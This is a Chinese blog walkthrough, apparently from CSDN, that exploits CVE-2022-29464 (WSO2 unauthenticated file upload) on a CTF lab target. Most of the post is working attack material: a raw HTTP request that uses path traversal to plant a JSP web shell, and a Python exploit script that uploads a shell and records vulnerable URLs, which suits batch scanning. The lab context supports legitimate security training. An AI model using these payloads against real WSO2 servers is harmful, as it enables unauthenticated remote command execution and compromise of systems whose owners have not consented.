首页 > 其他分享 >春秋云境 | 文件上传 | CVE-2022-29464

春秋云境 | 文件上传 | CVE-2022-29464

时间:2024-08-05 23:25:14浏览次数:18  
标签:29464 .. url authenticationendpoint 云境 2022 CVE

靶标介绍

WSO2文件上传漏洞(CVE-2022-29464)是Orange Tsai发现的WSO2上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传,允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得RCE。

开启靶场

先到国家信息安全漏洞库查看一下这个漏洞的相关信息

利用这个漏洞的 POC 去抓包改包放包

方法 1: 上传 POC

首先在登录页面抓包,不需要登录,刷新登录页面就ok

然后发送到 repeater 改包,下面是 POC:

注意:HostAccept 这两个参数要使用自己抓包抓到的数据,其他全都改成下面的内容

POST /fileupload/toolsAny HTTP/2
Host: eci-2ze71t1i6erojrrpmdbt.cloudeci1.ichunqiu.com:9443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Length: 894
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0

--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/testshell.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/testshell.jsp"

<FORM>
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd,null,null);
            BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            while((s = sI.readLine()) != null) { output += s+"</br>"; }
        }  catch(IOException e) {   e.printStackTrace();   }
    }
%>
        <%=output %>
--4ef9f369a86bfaadf5ec3177278d49c0--

/fileupload/toolsany是一个文件上传接口,content-type指定为multipart/form-data并在请求体中填入想要上传的文件内容。文件名指定为name="../../../../repository/deployment/server/webapps/authenticationendpoint/testshell.jsp",文件内容为:构造一个表单,文本框用于输入要执行的命令,然后提交。JSP代码用于获取命令内容,构造runtime.getRuntime()命令执行器,传入命令,读取命令执行结果并显示在页面上。

改完之后发包,如图所示,响应包出现那串数字表示成功了

上传成功后,拼接访问,即可执行一步命令。

https://eci-2ze71t1i6erojrrpmdbt.cloudeci1.ichunqiu.com:9443/authenticationendpoint/testshell.jsp

在这个搜索框输入下面的命令就可以查到 flag 了

cat /flag

方法 2:python 脚本

把下面的 python 脚本代码放在一个 python 文件,重命名为:CVE-2022-29464.py

# -*-coding:GBK -*-
import requests
shell= '''<%@ page import="java.util.*,java.io.*"%>
<html>
<body>
    <FORM METHOD="GET" NAME="myform" ACTION="">
    <INPUT TYPE="text" NAME="cmd">
    <INPUT TYPE="submit" VALUE="Send">
    </FORM>
    <pre>
    <%
        if (request.getParameter("cmd") != null ) {
            out.println("Command: " + request.getParameter("cmd") + "<BR>");
            Runtime rt = Runtime.getRuntime();
            Process p = rt.exec(request.getParameter("cmd"));
            OutputStream os = p.getOutputStream();
            InputStream in = p.getInputStream();
            DataInputStream dis = new DataInputStream(in);
            String disr = dis.readLine();
            while ( disr != null ) {
                out.println(disr);
                disr = dis.readLine();
            }
        }
    %>
    </pre>
</body>
</html>'''
public_key = '''KEY'''
def CVE_2022_29464_exp(url):
    try:
        resp = requests.post(f"{url}/fileupload/toolsAny", timeout=3, verify=False, files={"../../../../repository/deployment/server/webapps/authenticationendpoint/capoeira": public_key})
        resp = requests.post(f"{url}/fileupload/toolsAny", timeout=3, verify=False, files={"../../../../repository/deployment/server/webapps/authenticationendpoint/capoeira.jsp": shell})
        if resp.status_code == 200 and len(resp.content) > 0 and 'java' not in resp.text:
            print(f"【!!!!!!】存在CVE_2022_29464漏洞,shell地址为:{url}/authenticationendpoint/capoeira.jsp\n")
            with open("存在WSO2远程命令执行漏洞的url.txt","a+") as f:
                f.write(url + "/authenticationendpoint/capoeira.jsp\n")
            f.close()
        else:
            print("【×】不存在CVE_2022_29464漏洞:" + url + "\n")
    except Exception as e:
        pass

if __name__ == "__main__":
    url = "http://eci-2ze2knq7i9q2kvy9rhta.cloudeci1.ichunqiu.com:9445/"
    CVE_2022_29464_exp(url)

在存放CVE-2022-29464.py 这个脚本文件的目录下运行此文件

访问 shell 地址

http://eci-2zef9eei4moww5lp0kk6.cloudeci1.ichunqiu.com:9445//authenticationendpoint/capoeira.jsp

标签:29464,..,url,authenticationendpoint,云境,2022,CVE
From: https://blog.csdn.net/weixin_68416970/article/details/140910590

相关文章

  • The 2022 ICPC Asia Taoyuan Regional Programming Contest
    Preface由于今天HDU多校是自己学校出的题,因此像我这种没出题的就可以白兰一天爽歪歪然后和祁神找了场Ucup来VP,这场傻逼题巨多,不那么傻逼的题后面发现被搬到去年暑假前集训了,然后直接3h10题下班后期徐神全力冲刺他最喜欢的造计算机题,反观某人已经在Celeste启动了,怎么......
  • 中国县城建设统计年鉴(2015-2022年)
    数据年限:2015-2022年,年鉴时间即为数据时间数据格式:pdf+excel数据内容:共分12个部分,包括县城市政公用设施水平(人口密度/人均日生活用水量/供水普及率/燃气普及率/人均道路面积/建成区路网密度/污水处理率/人均公园绿地面积/建成区绿化覆盖率等)、县城人口和建设用地、县城维护......
  • 各地级市能源消费总量、夜间灯光值数据(2000-2022年)
    全国各地级市能源消费总量、夜间灯光值数据(2000-2022年)数据年限:2000-2022年数据格式:excel数据内容:337个地级市能源消费总量、夜间灯光值数据,包括城市、省份、年份、夜间灯光值(总和)、系数、能源消费总量(百吨标准煤)。面板数据参考文献:[1]吴健生,牛妍,彭建,等.基于DMSP/OLS夜......
  • 第二周--多维特征/2022吴恩达机器学习课程
    示例在先前的模型中,只有一个特征值x(房子的大小),你可以预测y,房子的价格。但是现在你又知道了多个细节。所以我们就需要更多的符号去表示对于的特征,如下:模型对比寻找一种更简单的方法重新写该表达式。向量这种算法叫多元线性回归为了实现这一点,我们有一个技巧叫矢量化......
  • github克隆项目到Visual Studio 2022出错怎么回事?
    到底咋回事啊?不同的方法有不同的出错方式。。。。先是选择"用vs打开",结果:然后选择自己输入,结果:救救我,找了各种方法,git也配置了邮箱,密钥也加到github设置里了,github网页用了watttllokit也能打开,怎么就是没法克隆呢,救救救,到底是哪里的错误?????......
  • CVE-2022-4230 复现
    题目描述:WPStatisticsWordPress插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行SQL注入攻击。默认情况下,具有管理选项功能(admin+)的用户可以使用受影响的功能,但是该插件有一个设置允许低权限用户也可以访问它。根据描述,我们直接去查看wp-admin路......
  • android studio 2022配置加速
    当前版本AndroidStudioFlamingo|2022.2.1Build#AI-222.4459.24.2221.9862592,builtonMarch31,2023Runtimeversion:17.0.6+0-b2043.56-9586694amd64VM:OpenJDK64-BitServerVMbyJetBrainss.r.o.Windows1010.0GC:G1YoungGeneration,G1OldGeneratio......
  • 1990-2022年 上市公司-战略差异度(原始数据、计算代码、参考文献和最终计算结果)
    上市公司战略差异度是衡量企业在战略制定和实施过程中所展现的独特性和创新性的指标。它体现了公司对市场环境、行业趋势及自身能力的独特见解和战略布局。通过分析上市公司的战略差异度,可以深入理解企业的市场竞争策略、行业定位和发展方向。战略差异度的重要性市场竞争力:战......
  • 2000-2022年 上市公司-投融资期限错配、短债长用、短贷长投(原始数据、计算代码、参考
    上市公司在投融资过程中的管理决策对企业的财务稳定性和长期发展至关重要。投融资期限错配、短债长用和短贷长投是企业在资本运作中可能出现的问题,它们影响着企业的财务结构和风险管理。投融资问题概述投融资期限错配指企业资产与债务的期限不匹配,通常表现为资金来源短期化......
  • 上海计算机学会2022年5月月赛C++乙组T3狼人游戏(二)
    狼人游戏(二)内存限制: 256 Mb时间限制: 1000 ms题目描述有 n 名玩家在玩狼人游戏,有一些玩家的身份是狼人。其余玩家的身份是预言家。游戏的进程中,陆续出现了 m 句发言,每句发言来自于某个玩家,发言的信息是声称另一个玩家的身份是狼人或者是预言家。小爱猜想,狼人的发......